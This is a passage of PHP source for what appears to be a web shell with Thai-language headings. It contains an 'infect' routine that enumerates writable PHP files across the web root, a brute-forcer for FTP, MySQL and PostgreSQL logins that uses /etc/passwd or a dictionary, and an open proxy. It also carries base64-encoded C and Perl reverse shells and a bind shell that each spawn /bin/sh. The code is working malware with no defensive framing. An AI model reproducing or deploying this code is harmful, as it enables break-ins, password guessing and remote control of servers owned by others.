1139 echo 'unlink error!';
1140 if($_POST['p1'] != 'yes')
1141 hardHeader();
1142 echo '<h1>การฆ่าตัวตาย</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1143 hardFooter();
1144}
1145function actionInfect() {
1146 hardHeader();
1147 echo '<h1>ติดเชื้อ</h1><div class=content>';
1148 if($_POST['p1'] == 'infect') {
1149 $target=$_SERVER['DOCUMENT_ROOT'];
1150 function ListFiles($dir) {
1151 if($dh = opendir($dir)) {
1152 $files = Array();
1153 $inner_files = Array();
1154 while($file = readdir($dh)) {
1155 if($file != "." && $file != "..") {
1156 if(is_dir($dir . "/" . $file)) {
1157 $inner_files = ListFiles($dir . "/" . $file);
1158 if(is_array($inner_files)) $files = array_merge($files, $inner_files);
1159 } else {
1160 array_push($files, $dir . "/" . $file);
1161 }
1162 }
1163 }
1164 closedir($dh);
1165 return $files;
1166 }
1167 }
1168 foreach (ListFiles($target) as $key=>$file){
1169 $nFile = substr($file, -4, 4);
1170 if($nFile == ".php" ){
1171 if(($file<>$_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'])&&(is_writeable($file))){
1172 echo "$file<br>";
1173 $i++;
1174 }
1175 }
1176 }
1177 echo "<font color=red size=14>$i</font>";
1178 }else{
1179 echo "<form method=post><input type=submit value=Infect name=infet></form>";
1180 echo 'Really want to infect the server? <a href=# onclick="g(null,null,\'infect\')">Yes</a></div>';
1181 }
1182 hardFooter();
1183}
1184function actionBruteforce() {
1185 hardHeader();
1186 if( isset($_POST['proto']) ) {
1187 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1188 if( $_POST['proto'] == 'ftp' ) {
1189 function bruteForce($ip,$port,$login,$pass) {
1190 $fp = @ftp_connect($ip, $port?$port:21);
1191 if(!$fp) return false;
1192 $res = @ftp_login($fp, $login, $pass);
1193 @ftp_close($fp);
1194 return $res;
1195 }
1196 } elseif( $_POST['proto'] == 'mysql' ) {
1197 function bruteForce($ip,$port,$login,$pass) {
1198 $res = @mysqli_connect($ip.':'.($port?$port:3306), $login, $pass);
1199 @mysqli_close($res);
1200 return $res;
1201 }
1202 } elseif( $_POST['proto'] == 'pgsql' ) {
1203 function bruteForce($ip,$port,$login,$pass) {
1204 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
1205 $res = @pg_connect($str);
1206 @pg_close($res);
1207 return $res;
1208 }
1209 }
1210 $success = 0;
1211 $attempts = 0;
1212 $server = explode(":", $_POST['server']);
1213 if($_POST['type'] == 1) {
1214 $temp = @file('/etc/passwd');
1215 if( is_array($temp) )
1216 foreach($temp as $line) {
1217 $line = explode(":", $line);
1218 ++$attempts;
1219 if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1220 $success++;
1221 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1222 }
1223 if(@$_POST['reverse']) {
1224 $tmp = "";
1225 for($i=strlen($line[0])-1; $i>=0; --$i)
1226 $tmp .= $line[0][$i];
1227 ++$attempts;
1228 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1229 $success++;
1230 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1231 }
1232 }
1233 }
1234 } elseif($_POST['type'] == 2) {
1235 $temp = @file($_POST['dict']);
1236 if( is_array($temp) )
1237 foreach($temp as $line) {
1238 $line = trim($line);
1239 ++$attempts;
1240 if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1241 $success++;
1242 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1243 }
1244 }
1245 }
1246 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1247 }
1248 echo '<h1>FTP กำลังเดรัจฉาน</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1249 .'<td><label><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></label></td></tr><tr><td>'
1250 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1251 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1252 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1253 .'<input type=hidden name=ne value="">'
1254 .'<span>Server:port</span></td>'
1255 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1256 .'<tr><td><span>Brute type</span></td>'
1257 .'<td><input type=radio name=type value="1" checked> /etc/passwd</td></tr>'
1258 .'<tr><td></td><td style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</td></tr>'
1259 .'<tr><td></td><td><input type=radio name=type value="2"> Dictionary</td></tr>'
1260 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1261 .'<td><input type=text name=login value="root"></td></tr>'
1262 .'<tr><td><span>Dictionary</span></td>'
1263 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1264 .'</td></tr><tr><td></td><td><input type=submit value="submit"></td></tr></form></table>';
1265 echo '</div>';
1266 hardFooter();
1267}
1268/* (С) 01.2020 Jakub Vrána */
1269function actionSql() {
1270 hardHeader();
1271
1272 $adminer_url = 'adminer.php';
1273 $adminer_functions = 'functions.js';
1274 $adminer_editing = 'editing.js';
1275
1276 echo"<script>window.onload=function() {document.getElementById('ifr').style.height=window.innerHeight+'px';}
1277 </script>";
1278 if (file_exists($adminer_functions)) {
1279 if (file_exists($adminer_editing)) {
1280 } else {
1281 echo "<h1>Results</h1><div class=content><div><span>Warning: </span>" .$GLOBALS['home_cwd']. "/$adminer_editing file does not exist </div></div>";
1282 }
1283 } else {
1284 if (file_exists($adminer_editing)) {
1285 echo "<h1>Results</h1><div class=content><div><span>Warning: </span>" .$GLOBALS['home_cwd']. "/$adminer_functions file does not exist </div></div>";
1286 } else {
1287 echo "<h1>Results</h1><div class=content><div><span>Warning: </span>" .$GLOBALS['home_cwd']. "/$adminer_functions and ".$GLOBALS['home_cwd']. "/$adminer_editing files does not exist </div></div>";
1288 }
1289 }
1290
1291 if (file_exists($adminer_url)) {
1292 echo "<h1>Sql browser</h1><div class=content><iframe id='ifr' src='$adminer_url' width=100% height=auto scrolling=auto frameborder=0 style='border:none !important;'></iframe></div>";
1293 } else {
1294 echo "<h1>Not found</h1><div class=content><div align='center' ><h5>" .$GLOBALS['home_cwd']. "/$adminer_url</h5> file does not exist</div></div>";
1295 hardFooter();
1296 };
1297}
1298/* (С) 02.2019 Abdul Ahad */
1299function actionAnonymizer() {
1300 $whitelistPatterns = array();
1301 //To enable CORS (cross-origin resource sharing) for proxied sites, set $forceCORS to true.
1302 $forceCORS = false;
1303 //Set to false to report the client machine's IP address to proxied sites via the HTTP `x-forwarded-for` header.
1304 //Setting to false may improve compatibility with some sites, but also exposes more information about end users to proxied sites.
1305 $anonymize = true;
1306 //Start/default URL that that will be proxied when Proxy is first loaded in a browser/accessed directly with no URL to proxy.
1307 //If empty, Proxy will show its own landing page.
1308 $startURL = "";
1309 $landingExampleURL = "https://example.net";
1310
1311 ob_start("ob_gzhandler");
1312 if (version_compare(PHP_VERSION, "5.4.7", "<")) {
1313 die("Proxy requires PHP version 5.4.7 or later.");
1314 }
1315 $requiredExtensions = ['curl', 'mbstring', 'xml'];
1316 foreach($requiredExtensions as $requiredExtension) {
1317 if (!extension_loaded($requiredExtension)) {
1318 die("Proxy requires PHP's \"" . $requiredExtension . "\" extension. Please install/enable it on your server and try again.");
1319 }
1320 }
1321 function getHostnamePattern($hostname) {
1322 $escapedHostname = str_replace(".", "\.", $hostname);
1323 return "@^https?://([a-z0-9-]+\.)*" . $escapedHostname . "@i";
1324 }
1325 function removeKeys(&$assoc, $keys2remove) {
1326 $keys = array_keys($assoc);
1327 $map = array();
1328 $removedKeys = array();
1329 foreach ($keys as $key) {
1330 $map[strtolower($key)] = $key;
1331 }
1332 foreach ($keys2remove as $key) {
1333 $key = strtolower($key);
1334 if (isset($map[$key])) {
1335 unset($assoc[$map[$key]]);
1336 $removedKeys[] = $map[$key];
1337 }
1338 }
1339 return $removedKeys;
1340 }
1341
1342 if (!function_exists("getallheaders")) {
1343 function getallheaders() {
1344 $result = array();
1345 foreach($_SERVER as $key => $value) {
1346 if (substr($key, 0, 5) == "HTTP_") {
1347 $key = str_replace(" ", "-", ucwords(strtolower(str_replace("_", " ", substr($key, 5)))));
1348 $result[$key] = $value;
1349 }
1350 }
1351 return $result;
1352 }
1353 }
1354 $usingDefaultPort = (!isset($_SERVER["HTTPS"]) && $_SERVER["SERVER_PORT"] === 80) || (isset($_SERVER["HTTPS"]) && $_SERVER["SERVER_PORT"] === 443);
1355 $prefixPort = $usingDefaultPort ? "" : ":" . $_SERVER["SERVER_PORT"];
1356 $prefixHost = $_SERVER["HTTP_HOST"];
1357 $prefixHost = strpos($prefixHost, ":") ? implode(":", explode(":", $_SERVER["HTTP_HOST"], -1)) : $prefixHost;
1358 define("PROXY_PREFIX", "http" . (isset($_SERVER["HTTPS"]) ? "s" : "") . "://" . $prefixHost . $prefixPort . $_SERVER["SCRIPT_NAME"] . "?");
1359 function makeRequest($url) {
1360 global $anonymize;
1361 $user_agent = $_SERVER["HTTP_USER_AGENT"];
1362 if (empty($user_agent)) {
1363 $user_agent = "Mozilla/5.0 (compatible; Proxy)";
1364 }
1365 $ch = curl_init();
1366 curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
1367 $browserRequestHeaders = getallheaders();
1368 $removedHeaders = removeKeys($browserRequestHeaders, array(
1369 "Accept-Encoding", //Throw awaythe browser's Accept-Encoding header if any and let cURL make the request using gzip if possible.
1370 "Content-Length",
1371 "Host",
1372 "Origin"
1373 ));
1374 array_change_key_case($removedHeaders, CASE_LOWER);
1375 curl_setopt($ch, CURLOPT_ENCODING, "");
1376 $curlRequestHeaders = array();
1377 foreach ($browserRequestHeaders as $name => $value) {
1378 $curlRequestHeaders[] = $name . ": " . $value;
1379 }
1380 if (!$anonymize) {
1381 $curlRequestHeaders[] = "X-Forwarded-For: " . $_SERVER["REMOTE_ADDR"];
1382 }
1383 if (array_key_exists('origin', $removedHeaders)) {
1384 $urlParts = parse_url($url);
1385 $port = $urlParts['port'];
1386 $curlRequestHeaders[] = "Origin: " . $urlParts['scheme'] . "://" . $urlParts['host'] . (empty($port) ? "" : ":" . $port);
1387 };
1388 curl_setopt($ch, CURLOPT_HTTPHEADER, $curlRequestHeaders);
1389 switch ($_SERVER["REQUEST_METHOD"]) {
1390 case "POST":
1391 curl_setopt($ch, CURLOPT_POST, true);
1392 $postData = Array();
1393 parse_str(file_get_contents("php://input"), $postData);
1394 if (isset($postData["ProxyFormAction"])) {
1395 unset($postData["ProxyFormAction"]);
1396 }
1397 curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));
1398 break;
1399 case "PUT":
1400 curl_setopt($ch, CURLOPT_PUT, true);
1401 curl_setopt($ch, CURLOPT_INFILE, fopen("php://input", "r"));
1402 break;
1403 }
1404 curl_setopt($ch, CURLOPT_HEADER, true);
1405 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
1406 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
1407 curl_setopt($ch, CURLOPT_URL, $url);
1408 $response = curl_exec($ch);
1409 $responseInfo = curl_getinfo($ch);
1410 $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
1411 curl_close($ch);
1412 $responseHeaders = substr($response, 0, $headerSize);
1413 $responseBody = substr($response, $headerSize);
1414 return array("headers" => $responseHeaders, "body" => $responseBody, "responseInfo" => $responseInfo);
1415 }
1416 function rel2abs($rel, $base) {
1417 if (empty($rel)) $rel = ".";
1418 if (parse_url($rel, PHP_URL_SCHEME) != "" || strpos($rel, "//") === 0) return $rel; //Return if already an absolute URL
1419 if ($rel[0] == "#" || $rel[0] == "?") return $base.$rel; //Queries and anchors
1420 extract(parse_url($base)); //Parse base URL and convert to local variables: $scheme, $host, $path
1421 $path = isset($path) ? preg_replace("#/[^/]*$#", "", $path) : "/"; //Remove non-directory element from path
1422 if ($rel[0] == "/") $path = ""; //Destroy path if relative url points to root
1423 $port = isset($port) && $port != 80 ? ":" . $port : "";
1424 $auth = "";
1425 if (isset($user)) {
1426 $auth = $user;
1427 if (isset($pass)) {
1428 $auth .= ":" . $pass;
1429 }
1430 $auth .= "@";
1431 }
1432 $abs = "$auth$host$port$path/$rel"; //Dirty absolute URL
1433 for ($n = 1; $n > 0; $abs = preg_replace(array("#(/\.?/)#", "#/(?!\.\.)[^/]+/\.\./#"), "/", $abs, -1, $n)) {} //Replace '//' or '/./' or '/foo/../' with '/'
1434 return $scheme . "://" . $abs; //Absolute URL is ready.
1435 }
1436 function proxifyCSS($css, $baseURL) {
1437 $sourceLines = explode("\n", $css);
1438 $normalizedLines = [];
1439 foreach ($sourceLines as $line) {
1440 if (preg_match("/@import\s+url/i", $line)) {
1441 $normalizedLines[] = $line;
1442 } else {
1443 $normalizedLines[] = preg_replace_callback(
1444 "/(@import\s+)([^;\s]+)([\s;])/i",
1445 function($matches) use ($baseURL) {
1446 return $matches[1] . "url(" . $matches[2] . ")" . $matches[3];
1447 },
1448 $line);
1449 }
1450 }
1451 $normalizedCSS = implode("\n", $normalizedLines);
1452 return preg_replace_callback(
1453 "/url\((.*?)\)/i",
1454 function($matches) use ($baseURL) {
1455 $url = $matches[1];
1456 if (strpos($url, "'") === 0) {
1457 $url = trim($url, "'");
1458 }
1459 if (strpos($url, "\"") === 0) {
1460 $url = trim($url, "\"");
1461 }
1462 if (stripos($url, "data:") === 0) return "url(" . $url . ")"; //The URL isn't an HTTP URL but is actual binary data. Don't proxify it.
1463 return "url(" . PROXY_PREFIX . rel2abs($url, $baseURL) . ")";
1464 },
1465 $normalizedCSS);
1466 }
1467 function proxifySrcset($srcset, $baseURL) {
1468 $sources = array_map("trim", explode(",", $srcset)); //Split all contents by comma and trim each value
1469 $proxifiedSources = array_map(function($source) use ($baseURL) {
1470 $components = array_map("trim", str_split($source, strrpos($source, " "))); //Split by last space and trim
1471 $components[0] = PROXY_PREFIX . rel2abs(ltrim($components[0], "/"), $baseURL); //First component of the split source string should be an image URL; proxify it
1472 return implode($components, " "); //Recombine the components into a single source
1473 }, $sources);
1474 $proxifiedSrcset = implode(", ", $proxifiedSources); //Recombine the sources into a single "srcset"
1475 return $proxifiedSrcset;
1476 }
1477 if (isset($_POST["ProxyFormAction"])) {
1478 $url = $_POST["ProxyFormAction"];
1479 unset($_POST["ProxyFormAction"]);
1480 } else {
1481 $queryParams = Array();
1482 parse_str($_SERVER["QUERY_STRING"], $queryParams);
1483 if (isset($queryParams["ProxyFormAction"])) {
1484 $formAction = $queryParams["ProxyFormAction"];
1485 unset($queryParams["ProxyFormAction"]);
1486 $url = $formAction . "?" . http_build_query($queryParams);
1487 } else {
1488 $url = substr($_SERVER["REQUEST_URI"], strlen($_SERVER["SCRIPT_NAME"]) + 1);
1489 }
1490 }
1491 if (empty($url)) {
1492 if (empty($startURL)) {
1493 hardHeader();
1494 echo "<h1>เว็บไซต์พร็อกซี</h1><div class=content>สามารถเรียกใช้พร็อกซีได้โดยตรงดังนี้: <a href=\"" . PROXY_PREFIX . $landingExampleURL . "\" target='_blank'>" . PROXY_PREFIX . $landingExampleURL . "</a><br /><br />หรือคุณสามารถป้อน URL ด้านล่าง:<br /><br /><form onsubmit=\"if (document.getElementById('site').value) {
1495 window.open('" . PROXY_PREFIX . "' + document.getElementById('site').value); return false; } else {
1496 window.open('" . PROXY_PREFIX . $landingExampleURL . "'); return false; }\" autocomplete=\"off\"><input id=\"site\" type=\"text\" size=\"50\" autofocus /><input type=\"submit\" value=\"GO!\" /></form></div>";
1497 hardFooter();
1498 die();
1499 } else {
1500 $url = $startURL;
1501 }
1502 } else if (strpos($url, ":/") !== strpos($url, "://")) {
1503 //Work around the fact that some web servers (e.g. IIS 8.5) change double slashes appearing in the URL to a single slash.
1504 $pos = strpos($url, ":/");
1505 $url = substr_replace($url, "://", $pos, strlen(":/"));
1506 }
1507 $scheme = parse_url($url, PHP_URL_SCHEME);
1508 if (empty($scheme)) {
1509 //Assume that any supplied URLs starting with // are HTTP URLs.
1510 if (strpos($url, "//") === 0) {
1511 $url = "http:" . $url;
1512 }
1513 } else if (!preg_match("/^https?$/i", $scheme)) {
1514 die('Error: Detected a "' . $scheme . '" URL. Proxy exclusively supports http[s] URLs.');
1515 }
1516 $urlIsValid = count($whitelistPatterns) === 0;
1517 foreach ($whitelistPatterns as $pattern) {
1518 if (preg_match($pattern, $url)) {
1519 $urlIsValid = true;
1520 break;
1521 }
1522 }
1523 if (!$urlIsValid) {
1524 die("Error: The requested URL was disallowed by the server adFc7strator.");
1525 }
1526
1527 $response = makeRequest($url);
1528 $rawResponseHeaders = $response["headers"];
1529 $responseBody = $response["body"];
1530 $responseInfo = $response["responseInfo"];
1531 $responseURL = $responseInfo["url"];
1532 if ($responseURL !== $url) {
1533 header("Location: " . PROXY_PREFIX . $responseURL, true);
1534 exit(0);
1535 }
1536 $header_blacklist_pattern = "/^Content-Length|^Transfer-Encoding|^Content-Encoding.*gzip/i";
1537 $responseHeaderBlocks = array_filter(explode("\r\n\r\n", $rawResponseHeaders));
1538 $lastHeaderBlock = end($responseHeaderBlocks);
1539 $headerLines = explode("\r\n", $lastHeaderBlock);
1540 foreach ($headerLines as $header) {
1541 $header = trim($header);
1542 if (!preg_match($header_blacklist_pattern, $header)) {
1543 header($header, false);
1544 }
1545 }
1546 header("X-Robots-Tag: noindex, nofollow", true);
1547
1548 if ($forceCORS) {
1549 header("Access-Control-Allow-Origin: *", true);
1550 header("Access-Control-Allow-Credentials: true", true);
1551
1552 if ($_SERVER["REQUEST_METHOD"] == "OPTIONS") {
1553 if (isset($_SERVER["HTTP_ACCESS_CONTROL_REQUEST_METHOD"])) {
1554 header("Access-Control-Allow-Methods: GET, POST, OPTIONS", true);
1555 }
1556 if (isset($_SERVER["HTTP_ACCESS_CONTROL_REQUEST_HEADERS"])) {
1557 header("Access-Control-Allow-Headers: {$_SERVER['HTTP_ACCESS_CONTROL_REQUEST_HEADERS']}", true);
1558 }
1559 exit(0);
1560 }
1561
1562 }
1563
1564 $contentType = "";
1565 if (isset($responseInfo["content_type"])) $contentType = $responseInfo["content_type"];
1566
1567 if (stripos($contentType, "text/html") !== false) {
1568
1569 $detectedEncoding = mb_detect_encoding($responseBody, "UTF-8, ISO-8859-1");
1570 if ($detectedEncoding) {
1571 $responseBody = mb_convert_encoding($responseBody, "HTML-ENTITIES", $detectedEncoding);
1572 }
1573 $doc = new DomDocument();
1574 @$doc->loadHTML($responseBody);
1575 $xpath = new DOMXPath($doc);
1576
1577 //Rewrite forms so that their actions point back to the proxy.
1578 foreach($xpath->query("//form") as $form) {
1579 $method = $form->getAttribute("method");
1580 $action = $form->getAttribute("action");
1581 $action = empty($action) ? $url : rel2abs($action, $url);
1582 $form->setAttribute("action", rtrim(PROXY_PREFIX, "?"));
1583 $actionInput = $doc->createDocumentFragment();
1584 $actionInput->appendXML('<input type="hidden" name="ProxyFormAction" value="' . htmlspecialchars($action) . '" />');
1585 $form->appendChild($actionInput);
1586 }
1587 foreach ($xpath->query("//meta[@http-equiv]") as $element) {
1588 if (strcasecmp($element->getAttribute("http-equiv"), "refresh") === 0) {
1589 $content = $element->getAttribute("content");
1590 if (!empty($content)) {
1591 $splitContent = preg_split("/=/", $content);
1592 if (isset($splitContent[1])) {
1593 $element->setAttribute("content", $splitContent[0] . "=" . PROXY_PREFIX . rel2abs($splitContent[1], $url));
1594 }
1595 }
1596 }
1597 }
1598 foreach($xpath->query("//style") as $style) {
1599 $style->nodeValue = proxifyCSS($style->nodeValue, $url);
1600 }
1601 foreach ($xpath->query("//*[@style]") as $element) {
1602 $element->setAttribute("style", proxifyCSS($element->getAttribute("style"), $url));
1603 }
1604 foreach ($xpath->query("//img[@srcset]") as $element) {
1605 $element->setAttribute("srcset", proxifySrcset($element->getAttribute("srcset"), $url));
1606 }
1607 $proxifyAttributes = array("href", "src");
1608 foreach($proxifyAttributes as $attrName) {
1609 foreach($xpath->query("//*[@" . $attrName . "]") as $element) { //For every element with the given attribute...
1610 $attrContent = $element->getAttribute($attrName);
1611 if ($attrName == "href" && preg_match("/^(about|javascript|magnet|mailto):|#/i", $attrContent)) continue;
1612 if ($attrName == "src" && preg_match("/^(data):/i", $attrContent)) continue;
1613 $attrContent = rel2abs($attrContent, $url);
1614 $attrContent = PROXY_PREFIX . $attrContent;
1615 $element->setAttribute($attrName, $attrContent);
1616 }
1617 }
1618 $head = $xpath->query("//head")->item(0);
1619 $body = $xpath->query("//body")->item(0);
1620 $prependElem = $head != NULL ? $head : $body;
1621 if ($prependElem != NULL) {
1622
1623 $scriptElem = $doc->createElement("script",
1624 '(function() {
1625
1626 if (window.XMLHttpRequest) {
1627
1628 function parseURI(url) {
1629 var m = String(url).replace(/^\s+|\s+$/g, "").match(/^([^:\/?#]+:)?(\/\/(?:[^:@]*(?::[^:@]*)?@)?(([^:\/?#]*)(?::(\d*))?))?([^?#]*)(\?[^#]*)?(#[\s\S]*)?/);
1630 // authority = "//" + user + ":" + pass "@" + hostname + ":" port
1631 return (m ? {
1632 href : m[0] || "",
1633 protocol : m[1] || "",
1634 authority: m[2] || "",
1635 host : m[3] || "",
1636 hostname : m[4] || "",
1637 port : m[5] || "",
1638 pathname : m[6] || "",
1639 search : m[7] || "",
1640 hash : m[8] || ""
1641 } : null);
1642 }
1643
1644 function rel2abs(base, href) { // RFC 3986
1645
1646 function removeDotSegments(input) {
1647 var output = [];
1648 input.replace(/^(\.\.?(\/|$))+/, "")
1649 .replace(/\/(\.(\/|$))+/g, "/")
1650 .replace(/\/\.\.$/, "/../")
1651 .replace(/\/?[^\/]*/g, function (p) {
1652 if (p === "/..") {
1653 output.pop();
1654 } else {
1655 output.push(p);
1656 }
1657 });
1658 return output.join("").replace(/^\//, input.charAt(0) === "/" ? "/" : "");
1659 }
1660
1661 href = parseURI(href || "");
1662 base = parseURI(base || "");
1663
1664 return !href || !base ? null : (href.protocol || base.protocol) +
1665 (href.protocol || href.authority ? href.authority : base.authority) +
1666 removeDotSegments(href.protocol || href.authority || href.pathname.charAt(0) === "/" ? href.pathname : (href.pathname ? ((base.authority && !base.pathname ? "/" : "") + base.pathname.slice(0, base.pathname.lastIndexOf("/") + 1) + href.pathname) : base.pathname)) +
1667 (href.protocol || href.authority || href.pathname ? href.search : (href.search || base.search)) +
1668 href.hash;
1669
1670 }
1671
1672 var proxied = window.XMLHttpRequest.prototype.open;
1673 window.XMLHttpRequest.prototype.open = function() {
1674 if (arguments[1] !== null && arguments[1] !== undefined) {
1675 var url = arguments[1];
1676 url = rel2abs("' . $url . '", url);
1677 url = "' . PROXY_PREFIX . '" + url;
1678 arguments[1] = url;
1679 }
1680 return proxied.apply(this, [].slice.call(arguments));
1681 };
1682
1683 }
1684
1685 })();'
1686 );
1687 $scriptElem->setAttribute("type", "text/javascript");
1688
1689 $prependElem->insertBefore($scriptElem, $prependElem->firstChild);
1690
1691 }
1692
1693 echo "<!-- Proxified page constructed by Proxy -->\n" . $doc->saveHTML();
1694 } else if (stripos($contentType, "text/css") !== false) { //This is CSS, so proxify url() references.
1695 echo proxifyCSS($responseBody, $url);
1696 } else { //This isn't a web page or CSS, so serve unmodified through the proxy with the correct headers (images, JavaScript, etc.)
1697 header("Content-Length: " . strlen($responseBody), true);
1698 echo $responseBody;
1699 }
1700}
1701function actionNetwork() {
1702 hardHeader();
1703 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
1704 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1705 $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
